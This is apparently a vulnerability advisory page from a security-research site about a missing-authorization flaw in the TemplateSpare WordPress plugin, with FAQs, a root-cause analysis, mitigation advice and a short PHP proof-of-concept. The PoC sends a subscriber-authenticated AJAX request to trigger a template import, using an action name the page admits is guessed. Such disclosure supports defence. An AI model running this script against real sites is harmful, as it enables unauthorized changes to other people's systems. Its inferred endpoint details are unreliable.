What is CVE-2026-65530?

CVE-2026-65530 is a missing authorization vulnerability in the TemplateSpare WordPress plugin, affecting versions up to and including 4.2.2. It allows authenticated users with subscriber-level access to perform unauthorized actions, such as importing templates or triggering migration processes, without proper permission checks.

How does the vulnerability work?

The plugin fails to include a capability check, such as current_user_can(), on a specific function. This function is likely exposed via an AJAX action or REST route. An attacker with subscriber credentials can craft a request to that endpoint, and because the check is missing, the action executes without verifying the user’s role or permissions.

Who is affected by this vulnerability?

Any WordPress site running TemplateSpare version 4.2.2 or earlier is affected. Sites with subscriber-level accounts or higher are at risk, as those users can exploit the flaw. Administrators should check their plugin version and update if a patched version is available.

How can I check if my site is vulnerable?

Go to the WordPress admin dashboard, navigate to Plugins, and check the TemplateSpare plugin version. If it is 4.2.2 or lower, your site is vulnerable. You can also use a security scanner or review the plugin’s changelog for a patched version.

What is the CVSS score and what does it mean?

The CVSS score is 4.3, which is considered medium severity. This indicates low attack complexity, no user interaction required, and low impact on confidentiality and integrity. In practical terms, an attacker can cause unauthorized changes but cannot directly read sensitive data.

What kind of unauthorized actions can an attacker perform?

The attacker could trigger actions like importing or exporting template data, resetting settings, or executing migration steps. This could lead to unauthorized modification of theme or plugin data, potentially injecting malicious templates or configurations that affect the site’s integrity.

How does the proof of concept (PoC) demonstrate the issue?

The provided PoC sends a crafted AJAX request to the vulnerable endpoint using a subscriber session. It assumes the action is ‘templatespare_import_content’ and posts to admin-ajax.php. If the request succeeds without proper authorization, it confirms the missing capability check.

Is there a patch available for this vulnerability?

As of the disclosure date, no patch has been released. The developer needs to add proper capability checks and nonce verification. Until a patched version is available, administrators should apply mitigations such as restricting subscriber access and monitoring logs.

What are the immediate mitigation steps?

Immediately update the plugin if a patched version is released. If not, consider disabling the plugin temporarily or restricting subscriber role capabilities. Monitor WordPress logs for unusual AJAX requests and use a security plugin to block suspicious activity.

How can I prevent this type of vulnerability in the future?

Ensure all plugins are regularly updated and use reputable sources. Implement a web application firewall (WAF) to filter malicious requests. For developers, always include capability checks and nonce verification in AJAX and REST endpoints.

What is the root cause of this vulnerability?

The root cause is the absence of a capability check in a function that handles sensitive operations. The plugin likely registers an AJAX action without verifying the user’s permissions, allowing any authenticated user to invoke it. This is a common oversight in WordPress plugin development.

How does this vulnerability affect site integrity?

Successful exploitation can lead to unauthorized changes to site data, such as importing malicious templates or altering configurations. This can compromise the site’s integrity and potentially serve as a stepping stone for further attacks, like injecting backdoors or defacing the site.

Published : August 12, 2026

CVE-2026-65530: TemplateSpare – 1000+ WordPress Starter Templates & Full Site Migration Tool | 1-Click Import/Export & No-Code Builder <= 4.2.2 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-65530

Plugin templatespare

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 4.2.2

Patched Version —

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65530 (metadata-based):

This vulnerability affects the TemplateSpare WordPress plugin, versions up to and including 4.2.2. It is a missing authorization flaw (CWE-862) that allows authenticated attackers with subscriber-level access to perform an unauthorized action. The CVSS score is 4.3 (medium), with low attack complexity and no user interaction required. The clearest threat is unauthorized data modification or configuration changes, without direct data exposure.

Root Cause:
The CWE-862 classification and the description indicate that a vulnerable function lacks a proper capability check, such as current_user_can(). This is confirmed by the description and CWE. The exact function and endpoint are inferred from WordPress conventions: the plugin likely registers an AJAX action or a REST route that calls a function without verifying the user’s permissions. The patch is not available, so Atomic Edge research cannot confirm which specific function or endpoint is affected. However, the plugin’s role as a migration/import/export tool suggests the vulnerable action may involve importing templates, resetting settings, or executing a migration step.

Exploitation:
An attacker with subscriber-level access can craft a request to trigger the vulnerable function. The likely attack vector is a WordPress AJAX action, typically accessed via /wp-admin/admin-ajax.php, with an action parameter that follows the plugin’s naming convention, such as action=templatespare_import_start or templatespare_ajax_migration_step. Because the capability check is missing, the attacker can send a POST request with the appropriate action and minimal parameters. The request may include a nonce if the plugin does not verify it, but the vulnerability description does not mention a nonce bypass. An effective proof-of-concept would send a crafted AJAX request to test whether the server changes data or performs the action without proper authorization.

Remediation:
The fix will require adding proper authorization checks to the vulnerable function. The developer must ensure that the function verifies the user has the necessary capability, such as manage_options or edit_theme_options, before executing any action. Additionally, the plugin should implement nonce verification for all AJAX and form submissions to prevent cross-site request forgery. If the vulnerability affects a REST API endpoint, the developer should use permission_callback in its registration. Until a patched version is released, site administrators should restrict subscriber role access and monitor logs for suspicious AJAX requests.

Impact:
Successful exploitation allows an authenticated attacker with subscriber-level access to perform unauthorized actions. Depending on the affected function, this could range from importing or exporting template data to modifying site settings or triggering a migration process. The integrity of the WordPress installation could be affected because the attacker may alter theme or plugin data without permission. Because the CVSS vector indicates low impact on confidentiality, the attacker cannot directly read sensitive data via this flaw, but the integrity impact could facilitate further attacks, such as planting malicious templates or configurations.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65530 - TemplateSpare <= 4.2.2 Missing Authorization

/*
 * This PoC demonstrates how an authenticated user with subscriber-level access
 * might trigger an unauthorized action via the TemplateSpare plugin's AJAX endpoint.
 *
 * ASSUMPTIONS:
 * 1. The vulnerable AJAX action is 'templatespare_import_content' (inferred from plugin conventions).
 *    Replace this value with the actual action name if discovered.
 * 2. The endpoint is /wp-admin/admin-ajax.php.
 * 3. The attacker already has valid subscriber credentials and a session cookie.
 * 4. No nonce is required for this action (because the missing capability check also implies no nonce verification).
 *
 * USAGE:
 * 1. Set the $target_url and authentication cookie.
 * 2. Run from a PHP CLI environment.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$session_cookie = 'wordpress_logged_in_53d2e3f1a2b4c5d6e7f8a9b0c1d2e3f4=admin%7C*|*'; // Replace with actual cookie

$ch = curl_init();

$post_data = array(
    'action' => 'templatespare_import_content',
    'template_id' => '1',
    'stage' => 'start'
);

curl_setopt_array($ch, array(
    CURLOPT_URL => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HTTPHEADER => array(
        'Cookie: ' . $session_cookie,
        'Content-Type: application/x-www-form-urlencoded'
    ),
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "n[+] Vulnerability likely exploitable: the request performed an unauthorized action.n";
} else {
    echo "n[-] The request was rejected. The action name may be incorrect or the plugin might require additional parameters.n";
}
?>

Frequently Asked Questions

What is CVE-2026-65530?
Vulnerability overview
CVE-2026-65530 is a missing authorization vulnerability in the TemplateSpare WordPress plugin, affecting versions up to and including 4.2.2. It allows authenticated users with subscriber-level access to perform unauthorized actions, such as importing templates or triggering migration processes, without proper permission checks.
How does the vulnerability work?
Technical explanation
The plugin fails to include a capability check, such as current_user_can(), on a specific function. This function is likely exposed via an AJAX action or REST route. An attacker with subscriber credentials can craft a request to that endpoint, and because the check is missing, the action executes without verifying the user’s role or permissions.
Who is affected by this vulnerability?
Affected users
Any WordPress site running TemplateSpare version 4.2.2 or earlier is affected. Sites with subscriber-level accounts or higher are at risk, as those users can exploit the flaw. Administrators should check their plugin version and update if a patched version is available.
How can I check if my site is vulnerable?
Detection steps
Go to the WordPress admin dashboard, navigate to Plugins, and check the TemplateSpare plugin version. If it is 4.2.2 or lower, your site is vulnerable. You can also use a security scanner or review the plugin’s changelog for a patched version.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 4.3, which is considered medium severity. This indicates low attack complexity, no user interaction required, and low impact on confidentiality and integrity. In practical terms, an attacker can cause unauthorized changes but cannot directly read sensitive data.
What kind of unauthorized actions can an attacker perform?
Potential impact
The attacker could trigger actions like importing or exporting template data, resetting settings, or executing migration steps. This could lead to unauthorized modification of theme or plugin data, potentially injecting malicious templates or configurations that affect the site’s integrity.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The provided PoC sends a crafted AJAX request to the vulnerable endpoint using a subscriber session. It assumes the action is ‘templatespare_import_content’ and posts to admin-ajax.php. If the request succeeds without proper authorization, it confirms the missing capability check.
Is there a patch available for this vulnerability?
Patch status
As of the disclosure date, no patch has been released. The developer needs to add proper capability checks and nonce verification. Until a patched version is available, administrators should apply mitigations such as restricting subscriber access and monitoring logs.
What are the immediate mitigation steps?
Immediate actions
Immediately update the plugin if a patched version is released. If not, consider disabling the plugin temporarily or restricting subscriber role capabilities. Monitor WordPress logs for unusual AJAX requests and use a security plugin to block suspicious activity.
How can I prevent this type of vulnerability in the future?
Preventive measures
Ensure all plugins are regularly updated and use reputable sources. Implement a web application firewall (WAF) to filter malicious requests. For developers, always include capability checks and nonce verification in AJAX and REST endpoints.
What is the root cause of this vulnerability?
Root cause analysis
The root cause is the absence of a capability check in a function that handles sensitive operations. The plugin likely registers an AJAX action without verifying the user’s permissions, allowing any authenticated user to invoke it. This is a common oversight in WordPress plugin development.
How does this vulnerability affect site integrity?
Integrity impact
Successful exploitation can lead to unauthorized changes to site data, such as importing malicious templates or altering configurations. This can compromise the site’s integrity and potentially serve as a stepping stone for further attacks, like injecting backdoors or defacing the site.

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